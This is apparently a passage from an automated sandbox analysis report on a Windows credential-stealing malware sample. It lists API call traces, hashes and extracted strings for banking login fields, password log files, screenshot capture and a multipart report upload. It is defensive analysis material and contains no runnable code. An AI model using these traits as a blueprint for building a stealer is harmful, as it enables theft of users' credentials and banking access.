                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,?), ref: 02708F11
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$Backslash$strstr$Append$CreateHeap$DirectoryErrorHandleLastProcessmemset$#680AllocCloseInformationReadThreadmemcpy
                                                                                                                                                                                                                      • String ID: &LOGIN_AUTHORIZATION_CODE=$26EE250A$26EE25DE$26ee2404$26ee2482$26ee2538$CryptoPluginId=AGAVA&Sign$action=auth&np=&login=$command=auth_loginByPassword&back_command=&back_custom1=&$edClientLogin=$edPassword=$edUserLogin=$j_password=$j_username=$pass.log
                                                                                                                                                                                                                      • API String ID: 1290287848-1734045755
                                                                                                                                                                                                                      • Opcode ID: ae4121dc02da3c6c3dab94644e0021c4be7948207c78286f88917d963ece5f07
                                                                                                                                                                                                                      • Instruction ID: f5fe2a067c184aae0ab3c87cb5f6b68af59eaaa2051884a35077d4c73b9c4afb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ae4121dc02da3c6c3dab94644e0021c4be7948207c78286f88917d963ece5f07
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 38D12A71A45254DBDB229B389C84BEB7FE49F59700F15849AEE8497340CFB09849CFE1
                                                                                                                                                                                                                      Function 02700940 Relevance: 75.6, APIs: 40, Strings: 3, Instructions: 311memorynetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?), ref: 02700981
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02700984
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000110), ref: 0270099E
                                                                                                                                                                                                                      • InternetQueryOptionA.WININET(?,00000022,00000000,?), ref: 027009BE
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?), ref: 027009DF
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 027009E2
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 027009F7
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02700A0D
                                                                                                                                                                                                                      • InternetQueryOptionA.WININET(?,00000015,?,00000000), ref: 02700A29
                                                                                                                                                                                                                      • InternetQueryOptionA.WININET(?,00000015,?,00000000), ref: 02700A3C
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000110), ref: 02700A4C
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02700A4F
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000110), ref: 02700A6A
                                                                                                                                                                                                                      • InternetQueryOptionA.WININET(?,00000029,00000000,00000104), ref: 02700A7D
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?), ref: 02700AC9
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02700ACC
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 02700AE0
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 02700AF0
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 02700AFE
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,?,[[[URL: %s%sProcess: %sUser-agent: %s]]]{{{%s,?,?,?,?,00000000), ref: 02700B40
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02700B6C
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02700B6F
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02700B7C
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02700B7F
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02700B8B
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02700B8E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02700B9B
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02700B9E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02700BB4
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02700BB7
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02700BC4
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02700BC7
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?), ref: 02700BE6
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02700BEF
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02700BF8
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02700BFB
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02700C07
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02700C0A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02700C13
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02700C16
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidatememset$AllocInternetOptionQuery$FileModuleName_snprintfmemcpy
                                                                                                                                                                                                                      • String ID: UserAgent$[[[URL: %s%sProcess: %sUser-agent: %s]]]{{{%s$}}}
                                                                                                                                                                                                                      • API String ID: 1808236364-2343086565
                                                                                                                                                                                                                      • Opcode ID: 8e9fd5568247e686d7aa2589025151804c476b01bc430fbb5ec32bf68502cda1
                                                                                                                                                                                                                      • Instruction ID: 498568e8ca2f8014fd57b2e2b5d70dea655d5f414b6511d0422634635d109f6f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8e9fd5568247e686d7aa2589025151804c476b01bc430fbb5ec32bf68502cda1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1DA1A071901209EBDB11DB649C89FAFBBB8EF88725F048554FA04A7281DB719D19CBE0
                                                                                                                                                                                                                      Function 02702A90 Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 355memoryfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32 ref: 02702AAC
                                                                                                                                                                                                                      • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 02702AC5
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 02702ACC
                                                                                                                                                                                                                      • PathFileExistsA.SHLWAPI(?), ref: 02702B0B
                                                                                                                                                                                                                      • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 02702B25
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 02702B2F
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000003,00000080,00000000), ref: 02702BA8
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02702BCE
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 02702BED
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,0273FB50,00000000), ref: 02702C0F
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 02702C2A
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?), ref: 02702C35
                                                                                                                                                                                                                      • SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000002), ref: 02702C52
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?), ref: 02702C84
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02702C8B
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 02702C9F
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 02702D40
                                                                                                                                                                                                                      • LockFile.KERNEL32(?,00000000,00000000,00000001,00000000), ref: 02702D51
                                                                                                                                                                                                                      • WriteFile.KERNEL32(?,00000000,00000001,?,00000000), ref: 02702D61
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(?,?,00000000,00000001,00000000), ref: 02702D72
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02702D7B
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02702D82
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02702D8F
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02702D96
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,0273FB50), ref: 02702DB1
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02702DB4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,0273FB50), ref: 02702DC1
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02702DC4
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02702DE1
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02702DF3
                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(0273FB50), ref: 02702DFE
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02702E39
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02702E48
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02702E5B
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02702E68
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$Heap$PathProcess$Security$DescriptorFreePointer$BackslashCreateCriticalFolderHandleLockSectionUnlockValidateWrite$AllocCloseConvertEnterExistsInfoInformationLeaveLocalNamedSaclStringmemset
                                                                                                                                                                                                                      • String ID: D900DBEAa$S:(ML;;NRNWNX;;;LW)$[/pst]$[pst]$d900db28a
                                                                                                                                                                                                                      • API String ID: 255608459-2650418153
                                                                                                                                                                                                                      • Opcode ID: fc8d62e4b7966510f4a4f5c2e55f665ea08a98452e8c3b4031f82e14de28f1d1
                                                                                                                                                                                                                      • Instruction ID: 6035b8c28961ccdc80a389f0e4684f8759b2c0505a0c67cec339fc36d3b4c1cb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fc8d62e4b7966510f4a4f5c2e55f665ea08a98452e8c3b4031f82e14de28f1d1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 67C1C272644305ABE7219F749C9DFAB7BE8EF88705F408918F9859B1C1DBB0D908C7A1
                                                                                                                                                                                                                      Function 02702040 Relevance: 65.0, APIs: 34, Strings: 3, Instructions: 284filewindowmemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCursorPos.USER32(?,00000000), ref: 02702053
                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 02702064
                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(00000000), ref: 02702079
                                                                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0270208E
                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 027020A8
                                                                                                                                                                                                                      • BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00660046), ref: 027020D6
                                                                                                                                                                                                                      • GetObjectA.GDI32(00000000,00000018,?), ref: 027020EC
                                                                                                                                                                                                                      • GlobalAlloc.KERNEL32 ref: 0270215C
                                                                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 0270216F
                                                                                                                                                                                                                      • GetDIBits.GDI32(?,00000000,00000000,?,00000000,?,00000000), ref: 0270218C
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(0270255E,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 027021A6
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetCurrentThread.KERNEL32(00000020,00000000,026F358E,7604DB30,?,?,?,?,026F358E,?,?,026F3751), ref: 02715940
                                                                                                                                                                                                                        • Part of subcall function 02715930: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 02715947
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetCurrentProcess.KERNEL32(00000020,026F358E,?,?,?,?,026F358E,?,?,026F3751), ref: 02715957
                                                                                                                                                                                                                        • Part of subcall function 02715930: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 0271595E
                                                                                                                                                                                                                        • Part of subcall function 02715930: LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 02715981
                                                                                                                                                                                                                        • Part of subcall function 02715930: AdjustTokenPrivileges.ADVAPI32(026F358E,00000000,00000001,00000000,00000000,00000000), ref: 0271599B
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetLastError.KERNEL32 ref: 027159A5
                                                                                                                                                                                                                        • Part of subcall function 02715930: CloseHandle.KERNEL32(026F358E), ref: 027159B6
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 027021CD
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?), ref: 027021EF
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(0270255E,00000001,00000010,00000000,00000000,00000000,?), ref: 02702209
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?), ref: 02702214
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0270223C
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,0000000E,00000000), ref: 0270224C
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,0000000E,?,00000000), ref: 02702260
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,0000000E,00000000), ref: 02702270
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0270227F
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000028,00000000), ref: 0270228F
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,00000028,?,00000000), ref: 027022A3
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,00000028,00000000), ref: 027022B3
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 027022CC
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 027022DB
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 027022EE
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 027022FD
                                                                                                                                                                                                                      • GlobalUnlock.KERNEL32(?), ref: 02702308
                                                                                                                                                                                                                      • GlobalFree.KERNEL32(?), ref: 0270230F
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02702323
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02702335
                                                                                                                                                                                                                      • DeleteObject.GDI32(00000000), ref: 02702340
                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,?), ref: 0270234C
                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 02702358
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$GlobalLockSecurityUnlock$CreateDescriptorHandleObjectPointerTokenWrite$CloseCompatibleCurrentFreeOpenProcessReleaseThread$AdjustAllocBitmapBitsConvertCursorDeleteErrorInfoInformationLastLocalLookupNamedPrivilegePrivilegesSaclSelectStringValue
                                                                                                                                                                                                                      • String ID: ($6$S:(ML;;NRNWNX;;;LW)
                                                                                                                                                                                                                      • API String ID: 532523266-808120212
                                                                                                                                                                                                                      • Opcode ID: f410b76edd6afd186357d9561e2f1ac8a53821fd40bd343db7db96a3a255da15
                                                                                                                                                                                                                      • Instruction ID: 078b80f63a51ca3ff01266bcb37081b82805246c1bf8ae8bca7d8a2a7c1e7fba
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f410b76edd6afd186357d9561e2f1ac8a53821fd40bd343db7db96a3a255da15
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 89912AB2545304AFE3109F64DC88EABBBEDFF8C745F44891DFA8596280D7709905CB62
                                                                                                                                                                                                                      Function 02703BA4 Relevance: 63.5, APIs: 27, Strings: 9, Instructions: 477filememorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 02703BCA
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 02703C72
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 02703C7F
                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 02703C85
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%s%u.zip,02749D68,00000000), ref: 02703CA2
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004), ref: 02703CB9
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,?,00000104), ref: 02703CD6
                                                                                                                                                                                                                      • VirtualFree.KERNEL32(00000000,00000000,00008000,?), ref: 02703D05
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FileVirtual$AllocAttributesBackslashCountDeleteFreePathTick_snprintflstrcpyn
                                                                                                                                                                                                                      • String ID: -----------------------------$%s%u.zip$--$-----------------------------$Content-Disposition: form-data; name="file"; filename="report"$Content-Disposition: form-data; name="pcname"$Content-Type: text/plain$DEBUG$passwords.txt
                                                                                                                                                                                                                      • API String ID: 3203035732-4064006501
                                                                                                                                                                                                                      • Opcode ID: c5f81bc290a7f3fee6c4bb67558cc006deae5ee4fd0ef36723b135fc3579db76
                                                                                                                                                                                                                      • Instruction ID: 2cae0a5ec8adc56e7b30116e029f8817b3780e788cfc752c84c07391c593e6ac
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c5f81bc290a7f3fee6c4bb67558cc006deae5ee4fd0ef36723b135fc3579db76
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 03F12A71904246DBCB168B3088E5BFBBBE6AF85304F4485D4ED869B281DB72D94DC790
                                                                                                                                                                                                                      Function 0270F9C0 Relevance: 63.3, APIs: 31, Strings: 5, Instructions: 256memorysynchronizationsleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2482), ref: 0270F9E8
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(0274DDC8,00000000), ref: 0270FA29
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270FA2F
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270FA37
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(0274DDC8), ref: 0270FA46
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270FA4D
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(0274DDC8,00000000), ref: 0270FA89
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(0274DDC8), ref: 0270FA94
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2482,?,?), ref: 0270FAD6
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(0274D998,00000000), ref: 0270FB11
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270FB17
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270FB1F
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(0274D998), ref: 0270FB2E
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270FB35
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(0274D998,00000000), ref: 0270FB63
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270FB69
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270FB71
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(0274D998), ref: 0270FB80
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270FB87
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 0270FB91
                                                                                                                                                                                                                      • memset.MSVCRT(0274DDC8,00000000,00000104), ref: 0270FBC7
                                                                                                                                                                                                                      • SHFileOperationA.SHELL32(?), ref: 0270FC41
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 0270FC52
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214},00000006), ref: 0270FC6F
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270FC76
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270FC88
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270FC98
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 0270FCAA
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270FCAD
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 0270FCBA
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270FCBD
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLast$Path$CreateFileHeap$#680DirectoryFolderMakeSystem$AttributesBackslashHandleMutexProcess$CloseDeleteFreeInformationOperationReleaseSleepValidatememset
                                                                                                                                                                                                                      • String ID: 26ee2482$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$\*.bk$keys\$path.txt
                                                                                                                                                                                                                      • API String ID: 30728639-4127514865
                                                                                                                                                                                                                      • Opcode ID: 88ed3c07c4e86bb1757994d520fe9105226b8f0a683780625ea00be2d017ebc0
                                                                                                                                                                                                                      • Instruction ID: 31861b84d3742e8bf50cb38179ccb341adbea78f3738a9261095ba0b91cacf27
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 88ed3c07c4e86bb1757994d520fe9105226b8f0a683780625ea00be2d017ebc0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3C911470A41706DFEB228B399859BAB7FE4EF4A702F45C455E886D7380DF708908CB91
                                                                                                                                                                                                                      Function 02702650 Relevance: 61.6, APIs: 27, Strings: 8, Instructions: 389fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000000,?,00000000), ref: 0270266C
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 02702677
                                                                                                                                                                                                                      • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,02702F36,02702F37), ref: 027026D3
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 027026DE
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 02702733
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 0270275B
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 0270277A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$BackslashCreateDescriptorFileFolderSecurity$ConvertString
                                                                                                                                                                                                                      • String ID: ***************************$ ***************************$) - $D900DBEAa$HH:mm:ss$S:(ML;;NRNWNX;;;LW)$d900db28a$dd:MMM:yyyy
                                                                                                                                                                                                                      • API String ID: 1711677860-3411152582
                                                                                                                                                                                                                      • Opcode ID: 49e96200b6aed1c0b99c7335b27b511592791fa09a03bd3d6667fca3e8aa7d85
